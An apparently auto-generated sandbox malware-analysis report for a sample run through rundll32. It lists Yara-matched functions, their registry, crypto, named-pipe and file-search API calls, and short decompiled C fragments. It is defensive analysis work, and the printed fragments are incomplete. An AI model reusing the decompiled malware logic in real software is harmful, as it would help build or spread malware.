                          0x04c71445
                          0x04c71447
                          0x04c714c8
                          0x04c714cf
                          0x04c714d1
                          0x00000000
                          0x00000000
                          0x04c714d3
                          0x04c714d7
                          0x04c714dc
                          0x04c714dc
                          0x00000000
                          0x04c714d7
                          0x04c7144e
                          0x04c71456
                          0x04c71456
                          0x04c7145f
                          0x04c7146d
                          0x04c714c4
                          0x04c714c4
                          0x00000000
                          0x04c71490
                          0x04c71493
                          0x00000000
                          0x04c71493
                          0x04c7146d
                          0x04c714a2
                          0x04c714b0
                          0x04c714b5
                          0x04c714b7
                          0x04c714cc
                          0x00000000
                          0x04c714cc
                          0x04c714b9
                          0x04c714bf
                          0x04c714c2
                          0x00000000
                          0x00000000
                          0x00000000
                          0x04c714c2

                          APIs
                          • memcpy.NTDLL(00000000,?,?,?,?,?,00000001,?,?,?), ref: 04C7144E
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: memcpy
                          • String ID:
                          • API String ID: 3510742995-0
                          • Opcode ID: abb85139146cbcf153fec2de335a04d8f6deebc596956e986da98068f9f02800
                          • Instruction ID: c151ad2b7733f69804bc2ca1bd1d8555551f626324092abb868ec8ff6de04452
                          • Opcode Fuzzy Hash: abb85139146cbcf153fec2de335a04d8f6deebc596956e986da98068f9f02800
                          • Instruction Fuzzy Hash: A3311471A40119EFDF21DE94C9C0BEDB7BABB04318F1884A5E519A7241DA34AF45DB60
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 029D1FCF Relevance: 1.3, APIs: 1, Instructions: 86memoryCOMMON
                          Download Yara Rule
                          APIs
                          Memory Dump Source
                          • Source File: 00000003.00000002.501000878.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_29d0000_rundll32.jbxd
                          Similarity
                          • API ID: AllocVirtual
                          • String ID:
                          • API String ID: 4275171209-0
                          • Opcode ID: 42bfce4ad4a4c9919c046fb102624acd987536cc5573b600d70b21d263cdb303
                          • Instruction ID: 3811d2eabdf88735c89f0641e999eaa88fbd68525d7ea8e2db3ad82a825d9b6b
                          • Opcode Fuzzy Hash: 42bfce4ad4a4c9919c046fb102624acd987536cc5573b600d70b21d263cdb303
                          • Instruction Fuzzy Hash: 6941E3B4D002068FDB44DF68C5947AABBF0FF88304F24856DD858AB341E77AA946CF91
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCFD24 Relevance: 1.3, APIs: 1, Instructions: 63memoryCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CD1ECA: RegQueryValueExA.KERNEL32(?,?,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,?,04CB2C89,?), ref: 04CD1F02
                            • Part of subcall function 04CD1ECA: RtlAllocateHeap.NTDLL(00000000,?), ref: 04CD1F16
                            • Part of subcall function 04CD1ECA: RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,?,04CB2C89,?), ref: 04CD1F30
                            • Part of subcall function 04CD1ECA: RegCloseKey.KERNEL32(?,?,00000000,?,?,00000000,?,?,?,04CB2C89,?,?,?), ref: 04CD1F5A
                          • HeapFree.KERNEL32(00000000,?,?,?,?,?,7620F710,00000000,00000000,?,?,?,04CBE30A,?), ref: 04CCFDB6
                            • Part of subcall function 04CCAF83: memcpy.NTDLL(?,?,00000000,?,?,?,00000000,?,?,04CB63CD,00000000,00000001,-00000007,?,00000000), ref: 04CCAFA6
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: HeapQueryValue$AllocateCloseFreememcpy
                          • String ID:
                          • API String ID: 1301464996-0
                          • Opcode ID: fc0e77f8006e91dcf125d453667cb6952e430c573907fc3f4e8d374f9a9cfdb9
                          • Instruction ID: 107027aef3d095cdfd32e4c1eb35ab0f13ddd61f4567edb79dbb76fa1d3ea8b8
                          • Opcode Fuzzy Hash: fc0e77f8006e91dcf125d453667cb6952e430c573907fc3f4e8d374f9a9cfdb9
                          • Instruction Fuzzy Hash: EE119E76A00201EFDB549F49D880FAE77ABEF48714F10002DE6029B291E7B5FD809B94
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB708F Relevance: 1.3, APIs: 1, Instructions: 50memoryCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CD1ECA: RegQueryValueExA.KERNEL32(?,?,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,?,04CB2C89,?), ref: 04CD1F02
                            • Part of subcall function 04CD1ECA: RtlAllocateHeap.NTDLL(00000000,?), ref: 04CD1F16
                            • Part of subcall function 04CD1ECA: RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,?,04CB2C89,?), ref: 04CD1F30
                            • Part of subcall function 04CD1ECA: RegCloseKey.KERNEL32(?,?,00000000,?,?,00000000,?,?,?,04CB2C89,?,?,?), ref: 04CD1F5A
                          • HeapFree.KERNEL32(00000000,?,?,?,?,?,?), ref: 04CB7100
                            • Part of subcall function 04CB4963: StrChrA.SHLWAPI(?,0000002E,00000000,?,?,00000000,04CB70EB,00000000,?,00000000,?,?,?,?,?,?), ref: 04CB4975
                            • Part of subcall function 04CB4963: StrChrA.SHLWAPI(?,00000020,?,00000000,04CB70EB,00000000,?,00000000,?,?,?,?,?,?), ref: 04CB4984
                            • Part of subcall function 04CBEE04: CloseHandle.KERNEL32(?,00000000,?,00000000), ref: 04CBEE2A
                            • Part of subcall function 04CBEE04: CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 04CBEE36
                            • Part of subcall function 04CBEE04: GetModuleHandleA.KERNEL32(?,060D978E,00000000,?,00000000), ref: 04CBEE56
                            • Part of subcall function 04CBEE04: GetProcAddress.KERNEL32(00000000), ref: 04CBEE5D
                            • Part of subcall function 04CBEE04: Thread32First.KERNEL32(?,0000001C), ref: 04CBEE6D
                            • Part of subcall function 04CBEE04: CloseHandle.KERNEL32(?), ref: 04CBEEB5
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: CloseHandle$HeapQueryValue$AddressAllocateCreateFirstFreeModuleProcSnapshotThread32Toolhelp32
                          • String ID:
                          • API String ID: 2627809124-0
                          • Opcode ID: 6a9e58e225c713b82f73c1d791f5cbd61fb3bf5ed58c7e0d925d4e5505d3182c
                          • Instruction ID: 7c3320de9208ebfacd0220f834373d5faccf4e11a5851802498864455babd17e
                          • Opcode Fuzzy Hash: 6a9e58e225c713b82f73c1d791f5cbd61fb3bf5ed58c7e0d925d4e5505d3182c
                          • Instruction Fuzzy Hash: D301A27A606114FF9B11DBA8ED88DDFB7EEEF49258B000055F801A3110DA35BE05D7B0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CD157A Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CD1ECA: RegQueryValueExA.KERNEL32(?,?,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,?,04CB2C89,?), ref: 04CD1F02
                            • Part of subcall function 04CD1ECA: RtlAllocateHeap.NTDLL(00000000,?), ref: 04CD1F16
                            • Part of subcall function 04CD1ECA: RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,?,04CB2C89,?), ref: 04CD1F30
                            • Part of subcall function 04CD1ECA: RegCloseKey.KERNEL32(?,?,00000000,?,?,00000000,?,?,?,04CB2C89,?,?,?), ref: 04CD1F5A
                          • HeapFree.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,00000000,04CC04AC,04CCC384,00000000,00000000), ref: 04CD15F0
                            • Part of subcall function 04CB4963: StrChrA.SHLWAPI(?,0000002E,00000000,?,?,00000000,04CB70EB,00000000,?,00000000,?,?,?,?,?,?), ref: 04CB4975
                            • Part of subcall function 04CB4963: StrChrA.SHLWAPI(?,00000020,?,00000000,04CB70EB,00000000,?,00000000,?,?,?,?,?,?), ref: 04CB4984
                            • Part of subcall function 04CB3172: lstrlen.KERNEL32(04CB43C6,00000000,?,?,?,?,04CB43C6,00000035,00000000,?,00000000), ref: 04CB31A2
                            • Part of subcall function 04CB3172: RtlAllocateHeap.NTDLL(00000000,00000000,00000000), ref: 04CB31B8
                            • Part of subcall function 04CB3172: memcpy.NTDLL(00000010,04CB43C6,00000000,?,?,04CB43C6,00000035,00000000), ref: 04CB31EE
                            • Part of subcall function 04CB3172: memcpy.NTDLL(00000010,00000000,00000035,?,?,04CB43C6,00000035), ref: 04CB3209
                            • Part of subcall function 04CB3172: CallNamedPipeA.KERNEL32(00000000,00000000,?,00000010,00000028,00000001), ref: 04CB3227
                            • Part of subcall function 04CB3172: GetLastError.KERNEL32(?,?,04CB43C6,00000035), ref: 04CB3231
                            • Part of subcall function 04CB3172: HeapFree.KERNEL32(00000000,00000000,?,?,04CB43C6,00000035), ref: 04CB3254
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heap$AllocateFreeQueryValuememcpy$CallCloseErrorLastNamedPipelstrlen
                          • String ID:
                          • API String ID: 730886825-0
                          • Opcode ID: 36840f171e00483ec11d2e879ea87b1b70401b60090c5a3a0c815160866201d0
                          • Instruction ID: d1f6009ebd60a0244e6ba899ddc3887bac2760f0bbcbe6c299388949cc3e62a3
                          • Opcode Fuzzy Hash: 36840f171e00483ec11d2e879ea87b1b70401b60090c5a3a0c815160866201d0
                          • Instruction Fuzzy Hash: 27019A79611200FBEB21DB98DC48FDE7BEDEF49714F000044B601A7180EA78BE01D7A0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C7155C Relevance: 1.3, APIs: 1, Instructions: 43memoryCOMMON
                          Download Yara Rule
                          C-Code - Quality: 100%
                          			E04C7155C(intOrPtr* __edi, void* _a4, void* _a8, unsigned int _a12) {
				void* _t21;
				void* _t22;
				signed int _t24;
				intOrPtr* _t26;
				void* _t27;

				_t26 = __edi;
				if(_a4 == 0) {
					L2:
					_t27 = E04C712CA(_a4, 0x80000002, _a8, _a12,  &_a4,  &_a12);
					if(_t27 == 0) {
						_t24 = _a12 >> 1;
						if(_t24 == 0) {
							_t27 = 2;
							HeapFree( *0x4c7a2d8, 0, _a4);
						} else {
							_t21 = _a4;
							 *((short*)(_t21 + _t24 * 2 - 2)) = 0;
							 *_t26 = _t21;
						}
					}
					L6:
					return _t27;
				}
				_t22 = E04C71B6F(_a4, _a8, _a12, __edi); // executed
				_t27 = _t22;
				if(_t27 == 0) {
					goto L6;
				}
				goto L2;
			}








                          0x04c7155c
                          0x04c71564
                          0x04c7157b
                          0x04c71596
                          0x04c7159a
                          0x04c7159f
                          0x04c715a1
                          0x04c715b3
                          0x04c715bf
                          0x04c715a3
                          0x04c715a3
                          0x04c715a8
                          0x04c715ad
                          0x04c715ad
                          0x04c715a1
                          0x04c715c5
                          0x04c715c9
                          0x04c715c9
                          0x04c71570
                          0x04c71575
                          0x04c71579
                          0x00000000
                          0x00000000
                          0x00000000

                          APIs
                            • Part of subcall function 04C71B6F: SysFreeString.OLEAUT32(00000000), ref: 04C71BD2
                          • HeapFree.KERNEL32(00000000,00000000,00000000,80000002,7620F710,?,00000000,?,00000000,?,04C721A9,?,004F0053,05249400,00000000,?), ref: 04C715BF
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: Free$HeapString
                          • String ID:
                          • API String ID: 3806048269-0
                          • Opcode ID: e3e0c4fd6e0ff685f9f75e4ea97c5fbcd5a7e65c6e2d5e67e31ebb915fde0fb4
                          • Instruction ID: 979b18f42690c83fd2340d69fdc3bcea2a8cd880afad539ad7ff6202cc017822
                          • Opcode Fuzzy Hash: e3e0c4fd6e0ff685f9f75e4ea97c5fbcd5a7e65c6e2d5e67e31ebb915fde0fb4
                          • Instruction Fuzzy Hash: 41016232100519BBDB229F94CC01FEE3BB6EF08750F088415FE059A220DB31EA60DB90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C724B3 Relevance: 1.3, APIs: 1, Instructions: 36stringCOMMON
                          Download Yara Rule
                          C-Code - Quality: 75%
                          			E04C724B3(void* __ecx, void* __edx, void* _a4, void* _a8) {
				void* _t13;
				void* _t21;

				_t11 =  &_a4;
				_t21 = 0;
				__imp__( &_a8);
				_t13 = E04C75FBB( &_a4 + 1, 1, _a8, _a4, _a4, _t11); // executed
				if(_t13 == 0) {
					_t21 = E04C76D63(_a8 + _a8);
					if(_t21 != 0) {
						E04C7298F(_a4, _t21, _t23);
					}
					E04C76C2C(_a4);
				}
				return _t21;
			}





                          0x04c724bb
                          0x04c724c2
                          0x04c724c4
                          0x04c724d3
                          0x04c724da
                          0x04c724e9
                          0x04c724ed
                          0x04c724f4
                          0x04c724f4
                          0x04c724fc
                          0x04c72501
                          0x04c72506

                          APIs
                          • lstrlen.KERNEL32(00000000,00000000,04C758D7,00000000,?,04C71D97,00000000,04C758D7,?,746BC740,04C758D7,00000000,052495B0), ref: 04C724C4
                            • Part of subcall function 04C75FBB: CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000018,F0000000,00000000,00000000,00000000,?,?,?,04C724D8,00000001,04C758D7,00000000), ref: 04C75FF3
                            • Part of subcall function 04C75FBB: memcpy.NTDLL(04C724D8,04C758D7,00000010,?,?,?,04C724D8,00000001,04C758D7,00000000,?,04C71D97,00000000,04C758D7,?,746BC740), ref: 04C7600C
                            • Part of subcall function 04C75FBB: CryptImportKey.ADVAPI32(?,?,0000001C,00000000,00000000,00000000), ref: 04C76035
                            • Part of subcall function 04C75FBB: CryptSetKeyParam.ADVAPI32(00000000,00000001,?,00000000), ref: 04C7604D
                            • Part of subcall function 04C75FBB: memcpy.NTDLL(00000000,746BC740,052495B0,00000010), ref: 04C7609F
                            • Part of subcall function 04C76D63: RtlAllocateHeap.NTDLL(00000000,00000000,04C75D7B), ref: 04C76D6F
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: Crypt$memcpy$AcquireAllocateContextHeapImportParamlstrlen
                          • String ID:
                          • API String ID: 894908221-0
                          • Opcode ID: 49401e8e670eacda31985a611a05e2f6651b68d4b93ece96b872665563b0e08c
                          • Instruction ID: e6b33b310927c26f2c423a6acd2ac976a1cac0ecc766773dbabb52e57442d9ae
                          • Opcode Fuzzy Hash: 49401e8e670eacda31985a611a05e2f6651b68d4b93ece96b872665563b0e08c
                          • Instruction Fuzzy Hash: 4AF05E76100509BBDF126F65DC40DEB7FAEEF843A4B048022FD09CA010DA71EA55ABA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C774B6 Relevance: 1.3, APIs: 1, Instructions: 26stringCOMMON
                          Download Yara Rule
                          C-Code - Quality: 100%
                          			E04C774B6(intOrPtr _a4, intOrPtr _a8, void* _a12, intOrPtr _a16, WCHAR* _a20) {
				void* _t17;

				if(_a4 == 0) {
					L2:
					return E04C723D9(_a8, 1, _a12, _a16, _a20, lstrlenW(_a20) + _t14 + 2);
				}
				_t17 = E04C714F1(_a4, _a8, _a12, _a16, _a20); // executed
				if(_t17 != 0) {
					goto L2;
				}
				return _t17;
			}




                          0x04c774be
                          0x04c774d8
                          0x00000000
                          0x04c774f4
                          0x04c774cf
                          0x04c774d6
                          0x00000000
                          0x00000000
                          0x04c774fb

                          APIs
                          • lstrlenW.KERNEL32(?,?,?,04C7363B,3D04C790,80000002,04C77168,04C77283,74666F53,4D4C4B48,04C77283,?,3D04C790,80000002,04C77168,?), ref: 04C774DB
                            • Part of subcall function 04C714F1: SysAllocString.OLEAUT32(04C77283), ref: 04C7150A
                            • Part of subcall function 04C714F1: SysFreeString.OLEAUT32(00000000), ref: 04C7154B
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: String$AllocFreelstrlen
                          • String ID:
                          • API String ID: 3808004451-0
                          • Opcode ID: 8aba0e94167160d1b096e95cccb5eba9b09c128bc40343892fe456044a8ab9fa
                          • Instruction ID: f719f203ab31e370b72520ac9851d9ffb64490bc5647bdf6b57b596e157f4be5
                          • Opcode Fuzzy Hash: 8aba0e94167160d1b096e95cccb5eba9b09c128bc40343892fe456044a8ab9fa
                          • Instruction Fuzzy Hash: 69F0923605010EBFDF025F90EC06EEA3F6AEB18354F048014BA1454171DB72E6B1EBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C72B23 Relevance: 1.3, APIs: 1, Instructions: 23COMMON
                          Download Yara Rule
                          C-Code - Quality: 100%
                          			E04C72B23(void* __edi, void* _a4) {
				int _t7;
				int _t12;

				_t7 = E04C72575(__edi, _a4,  &_a4); // executed
				_t12 = _t7;
				if(_t12 != 0) {
					memcpy(__edi, _a4, _t12);
					 *((char*)(__edi + _t12)) = 0;
					E04C76C2C(_a4);
				}
				return _t12;
			}





                          0x04c72b2f
                          0x04c72b34
                          0x04c72b38
                          0x04c72b3f
                          0x04c72b4a
                          0x04c72b4e
                          0x04c72b4e
                          0x04c72b57

                          APIs
                            • Part of subcall function 04C72575: memcpy.NTDLL(00000000,00000110,?,?,?,?,?,?,?,04C74493,?), ref: 04C725AB
                            • Part of subcall function 04C72575: memset.NTDLL ref: 04C72621
                            • Part of subcall function 04C72575: memset.NTDLL ref: 04C72635
                          • memcpy.NTDLL(?,?,00000000,?,?,?,?,?,04C74493,?,?,?,?), ref: 04C72B3F
                            • Part of subcall function 04C76C2C: RtlFreeHeap.NTDLL(00000000,00000000,04C75E1D,00000000,?,?,00000000), ref: 04C76C38
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: memcpymemset$FreeHeap
                          • String ID:
                          • API String ID: 3053036209-0
                          • Opcode ID: 9861f71267f26eea5288bfea07ab5eea21efb883178210c204045fd7d85c8362
                          • Instruction ID: e1aa70c6584f1bd5a16262226689237beeb6c2dcb1ad6155539a3d5d8b8c3738
                          • Opcode Fuzzy Hash: 9861f71267f26eea5288bfea07ab5eea21efb883178210c204045fd7d85c8362
                          • Instruction Fuzzy Hash: C0E08C725001287BDB122AA4EC00DEB7F5EDF456A5F008020FE088A210D632E610A7E1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB73EB Relevance: 1.3, APIs: 1, Instructions: 19COMMON
                          Download Yara Rule
                          APIs
                          • memset.NTDLL ref: 04CB73F5
                            • Part of subcall function 04CB6261: RegOpenKeyExA.KERNEL32(?,00000000,00000000,00020119,?,?,?,00000000), ref: 04CB62A8
                            • Part of subcall function 04CB6261: RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?,?,?,00000000), ref: 04CB62BE
                            • Part of subcall function 04CB6261: RegCloseKey.KERNEL32(?,?,?,?,?,?,?,00000000), ref: 04CB6307
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Open$Closememset
                          • String ID:
                          • API String ID: 1685373161-0
                          • Opcode ID: eae4752445d7aaf48354e339488d86f7a0e057409763ad57a1612276153bc34b
                          • Instruction ID: 5c53d2e55a795e957dd72a61b5208e62325f1003bb005392c29dcad6c604a246
                          • Opcode Fuzzy Hash: eae4752445d7aaf48354e339488d86f7a0e057409763ad57a1612276153bc34b
                          • Instruction Fuzzy Hash: 16E0EC34240108B7EB10AE54D851FE97B569B44758F008015BE486A242DA71F660DBD6
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CD1E9D Relevance: 1.3, APIs: 1, Instructions: 14COMMON
                          Download Yara Rule
                          APIs
                          • VirtualFree.KERNELBASE(?,00000000,00008000,00000010,?,?,?,04CD60E0,0000002C,04CC90D3,060D8E36,?,00000000,04CCA484,?,00000318), ref: 04CD1EB7
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: FreeVirtual
                          • String ID:
                          • API String ID: 1263568516-0
                          • Opcode ID: 92c4fe1d492c9d2dc5dc24a2746c1a94dd1a4a847bc9467c3b3feb25ba077c9f
                          • Instruction ID: 455612da8708c32d3b95fd940993f1f7979295cfd71bc78438930c9af678a2e3
                          • Opcode Fuzzy Hash: 92c4fe1d492c9d2dc5dc24a2746c1a94dd1a4a847bc9467c3b3feb25ba077c9f
                          • Instruction Fuzzy Hash: 02D01731E01219EBCB209F94DC49AAEFB71BF08720F608224E960731E0C7302A15CF90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Non-executed Functions

                          Function 04CCBAD1 Relevance: 28.7, APIs: 19, Instructions: 234stringfilesynchronizationCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CB9394: RtlAllocateHeap.NTDLL(00000000,?,04CC0051), ref: 04CB93A0
                            • Part of subcall function 04CC21B6: ExpandEnvironmentStringsW.KERNEL32(04CBAEB5,00000000,00000000,00000001,00000000,00000000,04CBE448,04CBAEB5,00000000,04CBE448,?), ref: 04CC21CD
                            • Part of subcall function 04CC21B6: ExpandEnvironmentStringsW.KERNEL32(04CBAEB5,00000000,00000000,00000000), ref: 04CC21E7
                          • lstrlenW.KERNEL32(?,00000000,00000001,?,00000250,?,00000000), ref: 04CCBB1D
                          • lstrlenW.KERNEL32(?,?,00000000), ref: 04CCBB29
                          • memset.NTDLL ref: 04CCBB71
                          • FindFirstFileW.KERNEL32(00000000,00000000), ref: 04CCBB8C
                          • lstrlenW.KERNEL32(0000002C), ref: 04CCBBC4
                          • lstrlenW.KERNEL32(?), ref: 04CCBBCC
                          • memset.NTDLL ref: 04CCBBEF
                          • wcscpy.NTDLL ref: 04CCBC01
                          • PathFindFileNameW.SHLWAPI(0000001C,?,?,?,?,00000000), ref: 04CCBC27
                          • RtlEnterCriticalSection.NTDLL(?), ref: 04CCBC5D
                            • Part of subcall function 04CCE803: HeapFree.KERNEL32(00000000,?,04CC3953,?,?,04CCBF5B,00000000,00000000,04CB10B0,00000000,04CD9F2C,00000008,00000003), ref: 04CCE80F
                          • RtlLeaveCriticalSection.NTDLL(?), ref: 04CCBC79
                          • FindNextFileW.KERNEL32(?,00000000), ref: 04CCBC92
                          • WaitForSingleObject.KERNEL32(00000000), ref: 04CCBCA4
                          • FindClose.KERNEL32(?), ref: 04CCBCB9
                          • FindFirstFileW.KERNEL32(00000000,00000000), ref: 04CCBCCD
                          • lstrlenW.KERNEL32(0000002C), ref: 04CCBCEF
                          • FindNextFileW.KERNEL32(?,00000000), ref: 04CCBD65
                          • WaitForSingleObject.KERNEL32(00000000), ref: 04CCBD77
                          • FindClose.KERNEL32(?), ref: 04CCBD92
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Find$Filelstrlen$CloseCriticalEnvironmentExpandFirstHeapNextObjectSectionSingleStringsWaitmemset$AllocateEnterFreeLeaveNamePathwcscpy
                          • String ID:
                          • API String ID: 2962561936-0
                          • Opcode ID: 8558bac6345c9bc91025556af8e9578601af0f20d40cba4039722954bce49e0e
                          • Instruction ID: 1a23f14f8f137b9ac94c06b6fbeb4c2e5b975acd924b3af3427a76d61a052b84
                          • Opcode Fuzzy Hash: 8558bac6345c9bc91025556af8e9578601af0f20d40cba4039722954bce49e0e
                          • Instruction Fuzzy Hash: 988158B1504305AFD710AFA4EC85B1BBBEAEF88304F00482DF59596151EB74FD058B92
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBB238 Relevance: 18.5, APIs: 12, Instructions: 519memoryCOMMON
                          Download Yara Rule
                          APIs
                          • StrToIntExA.SHLWAPI(00000000,00000000,?,7620F710,00000000,00000000), ref: 04CBB270
                          • StrToIntExA.SHLWAPI(00000000,00000000,?,7620F710,00000000,00000000), ref: 04CBB2A2
                          • StrToIntExA.SHLWAPI(00000000,00000000,?,7620F710,00000000,00000000), ref: 04CBB2D4
                          • StrToIntExA.SHLWAPI(00000000,00000000,?,7620F710,00000000,00000000), ref: 04CBB306
                          • StrToIntExA.SHLWAPI(00000000,00000000,?,7620F710,00000000,00000000), ref: 04CBB338
                          • StrToIntExA.SHLWAPI(00000000,00000000,?,7620F710,00000000,00000000), ref: 04CBB36A
                          • StrToIntExA.SHLWAPI(00000000,00000000,?,7620F710,00000000,00000000), ref: 04CBB39C
                          • StrToIntExA.SHLWAPI(00000000,00000000,?,7620F710,00000000,00000000), ref: 04CBB3CE
                          • StrToIntExA.SHLWAPI(00000000,00000000,?,7620F710,00000000,00000000), ref: 04CBB400
                          • HeapFree.KERNEL32(00000000,?,?,?,?,7620F710,00000000,00000000), ref: 04CBB593
                          • StrToIntExA.SHLWAPI(00000000,00000000,?,?,?,?,7620F710,00000000,00000000), ref: 04CBB637
                            • Part of subcall function 04CC7736: RtlAllocateHeap.NTDLL ref: 04CC7777
                            • Part of subcall function 04CC7736: memset.NTDLL ref: 04CC778B
                            • Part of subcall function 04CC7736: GetCurrentThreadId.KERNEL32 ref: 04CC7818
                            • Part of subcall function 04CC7736: GetCurrentThread.KERNEL32 ref: 04CC782B
                            • Part of subcall function 04CB6537: RtlEnterCriticalSection.NTDLL(060DC2D0), ref: 04CB6540
                            • Part of subcall function 04CB6537: HeapFree.KERNEL32(00000000,?), ref: 04CB6572
                            • Part of subcall function 04CB6537: RtlLeaveCriticalSection.NTDLL(060DC2D0), ref: 04CB6590
